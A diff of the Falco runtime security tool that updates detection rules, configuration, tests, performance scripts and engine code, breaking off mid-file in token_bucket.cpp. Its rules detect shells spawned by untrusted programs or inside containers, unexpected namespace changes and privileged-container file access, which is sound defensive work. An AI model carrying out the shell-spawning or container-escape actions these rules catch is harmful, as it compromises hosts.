--- a/docker/stable/docker-entrypoint.sh
+++ b/docker/stable/docker-entrypoint.sh
@@ -1,13 +1,17 @@
 #!/bin/bash
 #set -e

-echo "* Setting up /usr/src links from host"
+# Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module

-for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
-do 
-	ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
-done
+if [[ -z "${SYSDIG_SKIP_LOAD}" ]]; then
+    echo "* Setting up /usr/src links from host"

-/usr/bin/sysdig-probe-loader
+    for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
+    do
+        ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
+    done
+
+    /usr/bin/sysdig-probe-loader
+fi

 exec "$@"
--- a/falco.yaml
+++ b/falco.yaml
@@ -9,6 +9,27 @@ json_output: false
 log_stderr: true
 log_syslog: true

+# Minimum log level to include in logs. Note: these levels are
+# separate from the priority field of rules. This refers only to the
+# log level of falco's internal logging. Can be one of "emergency",
+# "alert", "critical", "error", "warning", "notice", "info", "debug".
+log_level: info
+
+# A throttling mechanism implemented as a token bucket limits the
+# rate of falco notifications. This throttling is controlled by the following configuration
+# options:
+#  - rate: the number of tokens (i.e. right to send a notification)
+#    gained per second. Defaults to 1.
+#  - max_burst: the maximum number of tokens outstanding. Defaults to 1000.
+#
+# With these defaults, falco could send up to 1000 notifications after
+# an initial quiet period, and then up to 1 notification per second
+# afterward. It would gain the full burst back after 1000 seconds of
+# no activity.
+
+outputs:
+  rate: 1
+  max_burst: 1000

 # Where security notifications should go.
 # Multiple outputs can be enabled.
@@ -23,6 +44,12 @@ file_output:
 stdout_output:
  enabled: true

+# Possible additional things you might want to do with program output:
+#   - send to a slack webhook:
+#         program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/XXX"
+#   - logging (alternate method than syslog):
+#         program: logger -t falco-test
+
 program_output:
  enabled: false
  program: mail -s "Falco Notification" someone@example.com
--- a/rules/falco_rules.yaml
+++ b/rules/falco_rules.yaml
@@ -76,7 +76,7 @@

 # dpkg -L login | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
 - list: login_binaries
-  items: [login, systemd-logind, su, nologin, faillog, lastlog, newgrp, sg]
+  items: [login, systemd, systemd-logind, su, nologin, faillog, lastlog, newgrp, sg]

 # dpkg -L passwd | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
 - list: passwd_binaries
@@ -96,11 +96,14 @@
    ]

 - list: sysdigcloud_binaries
-  items: [setup-backend, dragent]
+  items: [setup-backend, dragent, sdchecks]

 - list: docker_binaries
  items: [docker, dockerd, exe]

+- list: k8s_binaries
+  items: [hyperkube, skydns, kube2sky]
+
 - list: http_server_binaries
  items: [nginx, httpd, httpd-foregroun, lighttpd]

@@ -113,7 +116,7 @@
 # The truncated dpkg-preconfigu is intentional, process names are
 # truncated at the sysdig level.
 - list: package_mgmt_binaries
-  items: [dpkg, dpkg-preconfigu, rpm, rpmkey, yum, frontend]
+  items: [dpkg, dpkg-preconfigu, dnf, rpm, rpmkey, yum, frontend]

 - macro: package_mgmt_procs
  condition: proc.name in (package_mgmt_binaries)
@@ -164,6 +167,15 @@
 # System
 - macro: modules
  condition: evt.type in (delete_module, init_module)
+
+# Use this to test whether the event occurred within a container.
+
+# When displaying container information in the output field, use
+# %container.info, without any leading term (file=%fd.name
+# %container.info user=%user.name, and not file=%fd.name
+# container=%container.info user=%user.name). The output will change
+# based on the context and whether or not -pk/-pm/-pc was specified on
+# the command line.
 - macro: container
  condition: container.id != host
 - macro: interactive
@@ -224,7 +236,7 @@
 # Only let rpm-related programs write to the rpm database
 - rule: Write below rpm database
  desc: an attempt to write to the rpm database by any non-rpm related program
-  condition: fd.name startswith /var/lib/rpm and open_write and not proc.name in (rpm,rpmkey,yum)
+  condition: fd.name startswith /var/lib/rpm and open_write and not proc.name in (dnf,rpm,rpmkey,yum)
  output: "Rpm database opened for writing by a non-rpm program (command=%proc.cmdline file=%fd.name)"
  priority: WARNING

@@ -264,23 +276,23 @@

 - rule: Change thread namespace
  desc: an attempt to change a program/thread\'s namespace (commonly done as a part of creating a container) by calling setns.
-  condition: evt.type = setns and not proc.name in (docker_binaries, sysdig, dragent, nsenter)
-  output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline container=%container.name (id=%container.id))"
+  condition: evt.type = setns and not proc.name in (docker_binaries, k8s_binaries, sysdigcloud_binaries, sysdig, nsenter) and not proc.pname in (sysdigcloud_binaries)
+  output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline parent=%proc.pname %container.info)"
  priority: WARNING

 - rule: Run shell untrusted
  desc: an attempt to spawn a shell by a non-shell program. Exceptions are made for trusted binaries.
-  condition: spawned_process and not container and shell_procs and proc.pname exists and not proc.pname in (cron_binaries, shell_binaries, sshd, sudo, docker_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent, aws, initdb, docker-compose, make, configure, awk, falco)
+  condition: spawned_process and not container and shell_procs and proc.pname exists and not proc.pname in (cron_binaries, shell_binaries, sshd, sudo, docker_binaries, k8s_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent, aws, initdb, docker-compose, make, configure, awk, falco, fail2ban-server)
  output: "Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
  priority: WARNING

 - macro: trusted_containers
-  condition: (container.image startswith sysdig/agent or container.image startswith sysdig/falco or container.image startswith sysdig/sysdig or container.image startswith gcr.io/google_containers/hyperkube)
+  condition: (container.image startswith sysdig/agent or container.image startswith sysdig/falco or container.image startswith sysdig/sysdig or container.image startswith gcr.io/google_containers/hyperkube or container.image startswith gcr.io/google_containers/kube-proxy)

 - rule: File Open by Privileged Container
  desc: Any open by a privileged container. Exceptions are made for known trusted images.
  condition: (open_read or open_write) and container and container.privileged=true and not trusted_containers
-  output: File opened for read/write by non-privileged container (user=%user.name command=%proc.cmdline container=%container.name (id=%container.id) file=%fd.name)
+  output: File opened for read/write by privileged container (user=%user.name command=%proc.cmdline %container.info file=%fd.name)
  priority: WARNING

 - macro: sensitive_mount
@@ -289,7 +301,7 @@
 - rule: Sensitive Mount by Container
  desc: Any open by a container that has a mount from a sensitive host directory (i.e. /proc). Exceptions are made for known trusted images.
  condition: (open_read or open_write) and container and sensitive_mount and not trusted_containers
-  output: File opened for read/write by container mounting sensitive directory (user=%user.name command=%proc.cmdline container=%container.name (id=%container.id) file=%fd.name)
+  output: File opened for read/write by container mounting sensitive directory (user=%user.name command=%proc.cmdline %container.info file=%fd.name)
  priority: WARNING

 # Anything run interactively by root
@@ -305,8 +317,8 @@

 - rule: Run shell in container
  desc: a shell was spawned by a non-shell program in a container. Container entrypoints are excluded.
-  condition: spawned_process and container and shell_procs and proc.pname exists and not proc.pname in (shell_binaries, docker_binaries, initdb, pg_ctl, awk, apache2)
-  output: "Shell spawned in a container other than entrypoint (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
+  condition: spawned_process and container and shell_procs and proc.pname exists and not proc.pname in (shell_binaries, docker_binaries, k8s_binaries, initdb, pg_ctl, awk, apache2, falco, cron)
+  output: "Shell spawned in a container other than entrypoint (user=%user.name %container.info shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
  priority: WARNING

 # sockfamily ip is to exclude certain processes (like 'groups') that communicate on unix-domain sockets
--- a/test/cpu_monitor.sh
+++ b/test/cpu_monitor.sh
@@ -6,4 +6,4 @@ VARIANT=$3
 RESULTS_FILE=$4
 CPU_INTERVAL=$5

-top -d $CPU_INTERVAL -b -p $SUBJ_PID | grep -E '(falco|sysdig|dragent)' --line-buffered | awk -v benchmark=$BENCHMARK -v variant=$VARIANT '{printf("{\"time\": \"%s\", \"sample\": %d, \"benchmark\": \"%s\", \"variant\": \"%s\", \"cpu_usage\": %s},\n", strftime("%Y-%m-%d %H:%M:%S", systime(), 1), NR, benchmark, variant, $9); fflush();}' >> $RESULTS_FILE
+top -d $CPU_INTERVAL -b -p $SUBJ_PID | grep -E '(falco|sysdig|dragent|test_mm)' --line-buffered | awk -v benchmark=$BENCHMARK -v variant=$VARIANT '{printf("{\"time\": \"%s\", \"sample\": %d, \"benchmark\": \"%s\", \"variant\": \"%s\", \"cpu_usage\": %s},\n", strftime("%Y-%m-%d %H:%M:%S", systime(), 1), NR, benchmark, variant, $9); fflush();}' >> $RESULTS_FILE
--- a/test/falco_test.py
+++ b/test/falco_test.py
@@ -17,6 +17,8 @@ class FalcoTest(Test):
        """
        self.falcodir = self.params.get('falcodir', '/', default=os.path.join(self.basedir, '../build'))

+        self.stderr_contains = self.params.get('stderr_contains', '*', default='')
+        self.exit_status = self.params.get('exit_status', '*', default=0)
        self.should_detect = self.params.get('detect', '*', default=False)
        self.trace_file = self.params.get('trace_file', '*')

@@ -197,9 +199,18 @@ class FalcoTest(Test):

        res = self.falco_proc.run(timeout=180, sig=9)

+        if self.stderr_contains != '':
+            match = re.search(self.stderr_contains, res.stderr)
+            if match is None:
+                self.fail("Stderr of falco process did not contain content matching {}".format(self.stderr_contains))
+
+        if res.exit_status != self.exit_status:
+            self.error("Falco command \"{}\" exited with unexpected return value {} (!= {})".format(
+                cmd, res.exit_status, self.exit_status))
+
+        # No need to check any outputs if the falco process exited abnormally.
        if res.exit_status != 0:
-            self.error("Falco command \"{}\" exited with non-zero return value {}".format(
-                cmd, res.exit_status))
+            return

        self.check_rules_warnings(res)
        if len(self.rules_events) > 0:
--- a/test/falco_tests.yaml.in
+++ b/test/falco_tests.yaml.in
@@ -95,6 +95,13 @@ trace_files: !mux
      - rules/double_rule.yaml
    trace_file: trace_files/cat_write.scap

+  invalid_rule_output:
+    exit_status: 1
+    stderr_contains: "Runtime error: Error loading rules:.* Invalid output format 'An open was seen %not_a_real_field': 'invalid formatting token not_a_real_field'. Exiting."
+    rules_file:
+      - rules/invalid_rule_output.yaml
+    trace_file: trace_files/cat_write.scap
+
  disabled_rules:
    detect: False
    rules_file:
--- a/test/plot-live.r
+++ b/test/plot-live.r
@@ -13,23 +13,35 @@ if (substr(script.basename, 1, 1) != '/') {

 results = paste(script.basename, "results.json", sep='/')
 output = "./output.png"
+metric = "cpu"

 GetoptLong(
    "results=s", "Path to results file",
    "benchmark=s", "Benchmark from results file to graph",
    "variant=s@", "Variant(s) to include in graph. Can be specified multiple times",
-    "output=s", "Output graph file"
+    "output=s", "Output graph file",
+    "metric=s", "Metric to graph. Can be one of (cpu|drops)"
 )

+if (metric == "cpu") {
+    data_metric="cpu_usage"
+    yaxis_label="CPU Usage (%)"
+    title="Falco/Sysdig/Multimatch CPU Usage: %s"
+} else if (metric == "drops") {
+    data_metric="drop_pct"
+    yaxis_label="Event Drops (%)"
+    title="Falco/Sysdig/Multimatch Event Drops: %s"
+}
+
 res <- fromJSON(results, flatten=TRUE)

 res2 = res[res$benchmark == benchmark & res$variant %in% variant,]

-plot <- ggplot(data=res2, aes(x=sample, y=cpu_usage, group=variant, colour=variant)) +
+plot <- ggplot(data=res2, aes(x=sample, y=get(data_metric), group=variant, colour=variant)) +
    geom_line() +
-    ylab("CPU Usage (%)") +
+    ylab(yaxis_label) +
    xlab("Time") +
-    ggtitle(sprintf("Falco/Sysdig CPU Usage: %s", benchmark))
+    ggtitle(sprintf(title, benchmark))
    theme(legend.position=c(.2, .88));

 print(paste("Writing graph to", output, sep=" "))
--- a/test/rules/invalid_rule_output.yaml
+++ b/test/rules/invalid_rule_output.yaml
@@ -0,0 +1,5 @@
+- rule: rule_with_invalid_output
+  desc: A rule with an invalid output field
+  condition: evt.type=open
+  output: "An open was seen %not_a_real_field"
+  priority: WARNING
--- a/test/run_performance_tests.sh
+++ b/test/run_performance_tests.sh
@@ -28,7 +28,11 @@ function time_cmd() {
 function run_falco_on() {
    file="$1"

-    cmd="$ROOT/userspace/falco/falco -c $ROOT/../falco.yaml -r $ROOT/../rules/falco_rules.yaml --option=stdout_output.enabled=false -e $file"
+    if [ -z $RULES_FILE ]; then
+	RULES_FILE=$SOURCE/rules/falco_rules.yaml
+    fi
+
+    cmd="$ROOT/userspace/falco/falco -c $SOURCE/falco.yaml -r $SOURCE/rules/falco_rules.yaml --option=stdout_output.enabled=false -e $file -A"

    time_cmd "$cmd" "$file"
 }
@@ -131,15 +135,26 @@ function start_monitor_cpu_usage() {

 function start_subject_prog() {

-    echo "   starting falco/sysdig/agent program"
    # Do a blocking sudo command now just to ensure we have a password
    sudo bash -c ""

-    if [[ $ROOT == *"falco"* ]]; then
-	sudo $ROOT/userspace/falco/falco -c $ROOT/../falco.yaml -r $ROOT/../rules/falco_rules.yaml --option=stdout_output.enabled=false > ./prog-output.txt 2>&1 &
+    if [[ $ROOT == *"multimatch"* ]]; then
+	echo "   starting test_mm..."
+	if [ -z $RULES_FILE ]; then
+	    RULES_FILE=$SOURCE/../output/rules.yaml
+	fi
+	sudo FALCO_STATS_EXTRA_variant=$VARIANT FALCO_STATS_EXTRA_benchmark=$live_test $ROOT/test_mm -S $SOURCE/search_order.yaml -s $STATS_FILE -r $RULES_FILE > ./prog-output.txt 2>&1 &
+    elif [[ $ROOT == *"falco"* ]]; then
+	echo "   starting falco..."
+	if [ -z $RULES_FILE ]; then
+	    RULES_FILE=$SOURCE/rules/falco_rules.yaml
+	fi
+	sudo FALCO_STATS_EXTRA_variant=$VARIANT FALCO_STATS_EXTRA_benchmark=$live_test $ROOT/userspace/falco/falco -c $SOURCE/falco.yaml -s $STATS_FILE -r $RULES_FILE --option=stdout_output.enabled=false > ./prog-output.txt -A 2>&1 &
    elif [[ $ROOT == *"sysdig"* ]]; then
+	echo "   starting sysdig..."
 	sudo $ROOT/userspace/sysdig/sysdig -N -z evt.type=none &
    else
+	echo "   starting agent..."
 	write_agent_config
 	pushd $ROOT/userspace/dragent
 	sudo ./dragent > ./prog-output.txt 2>&1 &
@@ -180,8 +195,8 @@ function run_juttle_examples() {

 function run_kubernetes_demo() {
    pushd $SCRIPTDIR/../../infrastructure/test-infrastructures/kubernetes-demo
-    bash run-local.sh
-    bash init.sh
+    sudo bash run-local.sh
+    sudo bash init.sh
    sleep 600
    docker stop $(docker ps -qa)
    docker rm -fv $(docker ps -qa)
@@ -306,8 +321,11 @@ usage() {
    echo "   -h/--help: show this help"
    echo "   -v/--variant: a variant name to attach to this set of test results"
    echo "   -r/--root: root directory containing falco/sysdig binaries (i.e. where you ran 'cmake')"
+    echo "   -s/--source: root directory containing falco/sysdig source code"
    echo "   -R/--results: append test results to this file"
+    echo "   -S/--stats: append capture statistics to this file (only works for falco/test_mm)"
    echo "   -o/--output: append program output to this file"
+    echo "   -U/--rules: path to rules file (only applicable for falco/test_mm)"
    echo "   -t/--test: test to run. Argument has the following format:"
    echo "       trace:<trace>: read the specified trace file."
    echo "            trace:all means run all traces"
@@ -325,7 +343,7 @@ usage() {
    echo "   -F/--falco-agent: When running an agent, whether or not to enable falco"
 }

-OPTS=`getopt -o hv:r:R:o:t:T: --long help,variant:,root:,results:,output:,test:,tracedir:,agent-autodrop:,falco-agent: -n $0 -- "$@"`
+OPTS=`getopt -o hv:r:s:R:S:o:U:t:T: --long help,variant:,root:,source:,results:,stats:,output:,rules:,test:,tracedir:,agent-autodrop:,falco-agent: -n $0 -- "$@"`

 if [ $? != 0 ]; then
    echo "Exiting" >&2
@@ -336,9 +354,12 @@ eval set -- "$OPTS"

 VARIANT="falco"
 ROOT=`dirname $0`/../build
+SOURCE=$ROOT
 SCRIPTDIR=`dirname $0`
 RESULTS_FILE=`dirname $0`/results.json
+STATS_FILE=`dirname $0`/capture_stats.json
 OUTPUT_FILE=`dirname $0`/program-output.txt
+RULES_FILE=
 TEST=trace:all
 TRACEDIR=/tmp/falco-perf-traces.$USER
 CPU_INTERVAL=10
@@ -350,8 +371,11 @@ while true; do
 	-h | --help ) usage; exit 1;;
 	-v | --variant ) VARIANT="$2"; shift 2;;
 	-r | --root ) ROOT="$2"; shift 2;;
+	-s | --source ) SOURCE="$2"; shift 2;;
 	-R | --results ) RESULTS_FILE="$2"; shift 2;;
+	-S | --stats ) STATS_FILE="$2"; shift 2;;
 	-o | --output ) OUTPUT_FILE="$2"; shift 2;;
+	-U | --rules ) RULES_FILE="$2"; shift 2;;
 	-t | --test ) TEST="$2"; shift 2;;
 	-T | --tracedir ) TRACEDIR="$2"; shift 2;;
 	-A | --agent-autodrop ) AGENT_AUTODROP="$2"; shift 2;;
@@ -372,12 +396,23 @@ fi

 ROOT=`realpath $ROOT`

+if [ -z $SOURCE ]; then
+    echo "A source directory containing falco/sysdig source code. Not continuing."
+    exit 1
+fi
+
+SOURCE=`realpath $SOURCE`

 if [ -z $RESULTS_FILE ]; then
    echo "An output file for test results must be provided. Not continuing."
    exit 1
 fi

+if [ -z $STATS_FILE ]; then
+    echo "An output file for capture statistics must be provided. Not continuing."
+    exit 1
+fi
+
 if [ -z $OUTPUT_FILE ]; then
    echo "An file for program output must be provided. Not continuing."
    exit 1
--- a/userspace/engine/CMakeLists.txt
+++ b/userspace/engine/CMakeLists.txt
@@ -4,7 +4,7 @@ include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp")
 include_directories("${PROJECT_BINARY_DIR}/userspace/engine")
 include_directories("${LUAJIT_INCLUDE}")

-add_library(falco_engine STATIC rules.cpp falco_common.cpp falco_engine.cpp)
+add_library(falco_engine STATIC rules.cpp falco_common.cpp falco_engine.cpp token_bucket.cpp formats.cpp)

 target_include_directories(falco_engine PUBLIC
  "${LUAJIT_INCLUDE}")
--- a/userspace/engine/config_falco_engine.h.in
+++ b/userspace/engine/config_falco_engine.h.in
@@ -18,5 +18,5 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.

 #pragma once

-#define FALCO_ENGINE_LUA_DIR "${CMAKE_INSTALL_PREFIX}/${FALCO_SHARE_DIR}/lua/"
+#define FALCO_ENGINE_LUA_DIR "${FALCO_SHARE_DIR}/lua/"
 #define FALCO_ENGINE_SOURCE_LUA_DIR "${PROJECT_SOURCE_DIR}/../falco/userspace/engine/lua/"
--- a/userspace/engine/falco_engine.cpp
+++ b/userspace/engine/falco_engine.cpp
@@ -24,6 +24,8 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 #include "falco_engine.h"
 #include "config_falco_engine.h"

+#include "formats.h"
+
 extern "C" {
 #include "lpeg.h"
 #include "lyaml.h"
@@ -38,7 +40,8 @@ string lua_print_stats = "print_stats";
 using namespace std;

 falco_engine::falco_engine(bool seed_rng)
-	: m_rules(NULL), m_sampling_ratio(1), m_sampling_multiplier(0)
+	: m_rules(NULL), m_sampling_ratio(1), m_sampling_multiplier(0),
+	  m_replace_container_info(false)
 {
 	luaopen_lpeg(m_ls);
 	luaopen_yaml(m_ls);
@@ -72,7 +75,16 @@ void falco_engine::load_rules(const string &rules_content, bool verbose, bool al
 	{
 		m_rules = new falco_rules(m_inspector, this, m_ls);
 	}
-	m_rules->load_rules(rules_content, verbose, all_events);
+
+	// Note that falco_formats is added to both the lua state used
+	// by the falco engine as well as the separate lua state used
+	// by falco outputs.  Within the engine, only
+	// formats.formatter is used, so we can unconditionally set
+	// json_output to false.
+	bool json_output = false;
+	falco_formats::init(m_inspector, m_ls, json_output);
+
+	m_rules->load_rules(rules_content, verbose, all_events, m_extra, m_replace_container_info);
 }

 void falco_engine::load_rules_file(const string &rules_filename, bool verbose, bool all_events)
@@ -98,20 +110,20 @@ void falco_engine::enable_rule(string &pattern, bool enabled)
 	m_evttype_filter.enable(pattern, enabled);
 }

-falco_engine::rule_result *falco_engine::process_event(sinsp_evt *ev)
+unique_ptr<falco_engine::rule_result> falco_engine::process_event(sinsp_evt *ev)
 {

 	if(should_drop_evt())
 	{
-		return NULL;
+		return unique_ptr<struct rule_result>();
 	}

 	if(!m_evttype_filter.run(ev))
 	{
-		return NULL;
+		return unique_ptr<struct rule_result>();
 	}

-	struct rule_result *res = new rule_result();
+	unique_ptr<struct rule_result> res(new rule_result());

 	lua_getglobal(m_ls, lua_on_event.c_str());

@@ -184,6 +196,12 @@ void falco_engine::set_sampling_multiplier(double sampling_multiplier)
 	m_sampling_multiplier = sampling_multiplier;
 }

+void falco_engine::set_extra(string &extra, bool replace_container_info)
+{
+	m_extra = extra;
+	m_replace_container_info = replace_container_info;
+}
+
 inline bool falco_engine::should_drop_evt()
 {
 	if(m_sampling_multiplier == 0)
--- a/userspace/engine/falco_engine.h
+++ b/userspace/engine/falco_engine.h
@@ -63,7 +63,7 @@ public:
 	// the rule that matched. If no rule matched, returns NULL.
 	//
 	// the reutrned rule_result is allocated and must be delete()d.
-	rule_result *process_event(sinsp_evt *ev);
+	std::unique_ptr<rule_result> process_event(sinsp_evt *ev);

 	//
 	// Print details on the given rule. If rule is NULL, print
@@ -96,6 +96,16 @@ public:
 	//
 	void set_sampling_multiplier(double sampling_multiplier);

+	//
+	// You can optionally add "extra" formatting fields to the end
+	// of all output expressions. You can also choose to replace
+	// %container.info with the extra information or add it to the
+	// end of the expression. This is used in open source falco to
+	// add k8s/mesos/container information to outputs when
+	// available.
+	//
+	void set_extra(string &extra, bool replace_container_info);
+
 private:

 	//
@@ -132,5 +142,8 @@ private:
 	double m_sampling_multiplier;

 	std::string m_lua_main_filename = "rule_loader.lua";
+
+	std::string m_extra;
+	bool m_replace_container_info;
 };

--- a/userspace/engine/formats.cpp
+++ b/userspace/engine/formats.cpp
@@ -39,7 +39,7 @@ void falco_formats::init(sinsp* inspector, lua_State *ls, bool json_output)
 	s_inspector = inspector;
 	s_json_output = json_output;

-	luaL_openlib(ls, "falco", ll_falco, 0);
+	luaL_openlib(ls, "formats", ll_falco, 0);
 }

 int falco_formats::formatter(lua_State *ls)
@@ -49,14 +49,13 @@ int falco_formats::formatter(lua_State *ls)
 	try
 	{
 		formatter = new sinsp_evt_formatter(s_inspector, format);
+		lua_pushlightuserdata(ls, formatter);
 	}
 	catch(sinsp_exception& e)
 	{
-		throw falco_exception("Invalid output format '" + format + "'.\n");
+		luaL_error(ls, "Invalid output format '%s': '%s'", format.c_str(), e.what());
 	}

-	lua_pushlightuserdata(ls, formatter);
-
 	return 1;
 }

@@ -64,14 +63,14 @@ int falco_formats::free_formatter(lua_State *ls)
 {
 	if (!lua_islightuserdata(ls, -1))
 	{
-		throw falco_exception("Invalid argument passed to free_formatter");
+		luaL_error(ls, "Invalid argument passed to free_formatter");
 	}

 	sinsp_evt_formatter *formatter = (sinsp_evt_formatter *) lua_topointer(ls, 1);

 	delete(formatter);

-	return 1;
+	return 0;
 }

 int falco_formats::format_event (lua_State *ls)
--- a/userspace/engine/formats.h
+++ b/userspace/engine/formats.h
@@ -43,7 +43,4 @@ class falco_formats
 	static int format_event(lua_State *ls);

 	static sinsp* s_inspector;
-
- private:
-	lua_State* m_ls;
 };
--- a/userspace/engine/lua/compiler.lua
+++ b/userspace/engine/lua/compiler.lua
@@ -290,8 +290,8 @@ function compiler.compile_macro(line, list_defs)
   local ast, error_msg = parser.parse_filter(line)

   if (error_msg) then
-      print ("Compilation error when compiling \""..line.."\": ", error_msg)
-      error(error_msg)
+      msg = "Compilation error when compiling \""..line.."\": ".. error_msg
+      error(msg)
   end

   -- Traverse the ast looking for events/syscalls in the ignored
@@ -315,8 +315,8 @@ function compiler.compile_filter(name, source, macro_defs, list_defs)
   local ast, error_msg = parser.parse_filter(source)

   if (error_msg) then
-      print ("Compilation error when compiling \""..source.."\": ", error_msg)
-      error(error_msg)
+      msg = "Compilation error when compiling \""..source.."\": "..error_msg
+      error(msg)
   end

   -- Traverse the ast looking for events/syscalls in the ignored
--- a/userspace/engine/lua/rule_loader.lua
+++ b/userspace/engine/lua/rule_loader.lua
@@ -123,7 +123,46 @@ end
 -- to a rule.
 local state = {macros={}, lists={}, filter_ast=nil, rules_by_name={}, n_rules=0, rules_by_idx={}}

-function load_rules(rules_content, rules_mgr, verbose, all_events)
+-- From http://lua-users.org/wiki/TableUtils
+--
+function table.val_to_str ( v )
+  if "string" == type( v ) then
+    v = string.gsub( v, "\n", "\\n" )
+    if string.match( string.gsub(v,"[^'\"]",""), '^"+$' ) then
+      return "'" .. v .. "'"
+    end
+    return '"' .. string.gsub(v,'"', '\\"' ) .. '"'
+  else
+    return "table" == type( v ) and table.tostring( v ) or
+      tostring( v )
+  end
+end
+
+function table.key_to_str ( k )
+  if "string" == type( k ) and string.match( k, "^[_%a][_%a%d]*$" ) then
+    return k
+  else
+    return "[" .. table.val_to_str( k ) .. "]"
+  end
+end
+
+function table.tostring( tbl )
+  local result, done = {}, {}
+  for k, v in ipairs( tbl ) do
+    table.insert( result, table.val_to_str( v ) )
+    done[ k ] = true
+  end
+  for k, v in pairs( tbl ) do
+    if not done[ k ] then
+      table.insert( result,
+        table.key_to_str( k ) .. "=" .. table.val_to_str( v ) )
+    end
+  end
+  return "{" .. table.concat( result, "," ) .. "}"
+end
+
+
+function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replace_container_info)

   compiler.set_verbose(verbose)
   compiler.set_all_events(all_events)
@@ -135,6 +174,10 @@ function load_rules(rules_content, rules_mgr, verbose, all_events)
      return
   end

+   if type(rules) ~= "table" then
+      error("Rules content \""..rules_content.."\" is not yaml")
+   end
+
   for i,v in ipairs(rules) do -- iterate over yaml list

      if (not (type(v) == "table")) then
@@ -164,9 +207,9 @@ function load_rules(rules_content, rules_mgr, verbose, all_events)

 	 state.lists[v['list']] = items

-      else -- rule
+      elseif (v['rule']) then

-	 if (v['rule'] == nil) then
+	 if (v['rule'] == nil or type(v['rule']) == "table") then
 	    error ("Missing name in rule")
 	 end

@@ -214,9 +257,41 @@ function load_rules(rules_content, rules_mgr, verbose, all_events)
 	    if (v['enabled'] == false) then
 	       falco_rules.enable_rule(rules_mgr, v['rule'], 0)
 	    end
+
+	    -- If the format string contains %container.info, replace it
+	    -- with extra. Otherwise, add extra onto the end of the format
+	    -- string.
+	    if string.find(v['output'], "%container.info", nil, true) ~= nil then
+
+		-- There may not be any extra, or we're not supposed
+		-- to replace it, in which case we use the generic
+		-- "%container.name (id=%container.id)"
+	       if replace_container_info == false then
+		  v['output'] = string.gsub(v['output'], "%%container.info", "%%container.name (id=%%container.id)")
+		  if extra ~= "" then
+		     v['output'] = v['output'].." "..extra
+		  end
+	       else
+		  safe_extra = string.gsub(extra, "%%", "%%%%")
+		  v['output'] = string.gsub(v['output'], "%%container.info", safe_extra)
+	       end
+	    else
+	       -- Just add the extra to the end
+		if extra ~= "" then
+		   v['output'] = v['output'].." "..extra
+		end
+	    end
+
+	    -- Ensure that the output field is properly formatted by
+	    -- creating a formatter from it. Any error will be thrown
+	    -- up to the top level.
+	    formatter = formats.formatter(v['output'])
+	    formats.free_formatter(formatter)
 	 else
 	    error ("Unexpected type in load_rule: "..filter_ast.type)
 	 end
+      else
+	 error ("Unknown rule object: "..table.tostring(v))
      end
   end

--- a/userspace/engine/rules.cpp
+++ b/userspace/engine/rules.cpp
@@ -108,7 +108,9 @@ void falco_rules::enable_rule(string &rule, bool enabled)
 	m_engine->enable_rule(rule, enabled);
 }

-void falco_rules::load_rules(const string &rules_content, bool verbose, bool all_events)
+void falco_rules::load_rules(const string &rules_content,
+			     bool verbose, bool all_events,
+			     string &extra, bool replace_container_info)
 {
 	lua_getglobal(m_ls, m_lua_load_rules.c_str());
 	if(lua_isfunction(m_ls, -1))
@@ -182,7 +184,9 @@ void falco_rules::load_rules(const string &rules_content, bool verbose, bool all
 		lua_pushlightuserdata(m_ls, this);
 		lua_pushboolean(m_ls, (verbose ? 1 : 0));
 		lua_pushboolean(m_ls, (all_events ? 1 : 0));
-		if(lua_pcall(m_ls, 4, 0, 0) != 0)
+		lua_pushstring(m_ls, extra.c_str());
+		lua_pushboolean(m_ls, (replace_container_info ? 1 : 0));
+		if(lua_pcall(m_ls, 6, 0, 0) != 0)
 		{
 			const char* lerr = lua_tostring(m_ls, -1);
 			string err = "Error loading rules:" + string(lerr);
--- a/userspace/engine/rules.h
+++ b/userspace/engine/rules.h
@@ -31,7 +31,8 @@ class falco_rules
 public:
 	falco_rules(sinsp* inspector, falco_engine *engine, lua_State *ls);
 	~falco_rules();
-	void load_rules(const string &rules_content, bool verbose, bool all_events);
+	void load_rules(const string &rules_content, bool verbose, bool all_events,
+			std::string &extra, bool replace_container_info);
 	void describe_rule(string *rule);

 	static void init(lua_State *ls);
--- a/userspace/engine/token_bucket.cpp
+++ b/userspace/engine/token_bucket.cpp
@@ -0,0 +1,71 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include <cstddef>
+#include <sys/time.h>
+
+#include "utils.h"
+#include "token_bucket.h"
+
+token_bucket::token_bucket()
+{
+	init(1, 1);
+}
+
+token_bucket::~token_bucket()
+{
+}
+
+void token_bucket::init(uint32_t rate, uint32_t max_tokens)
+{
+	m_rate = rate;
+	m_max_tokens = max_tokens;
+	m_tokens = max_tokens;
+	m_last_seen = sinsp_utils::get_current_time_ns();
+}
+
+bool token_bucket::claim()
+{
+	// Determine the number of tokens gained. Delta between
+	// last_seen and now, divided by the rate.
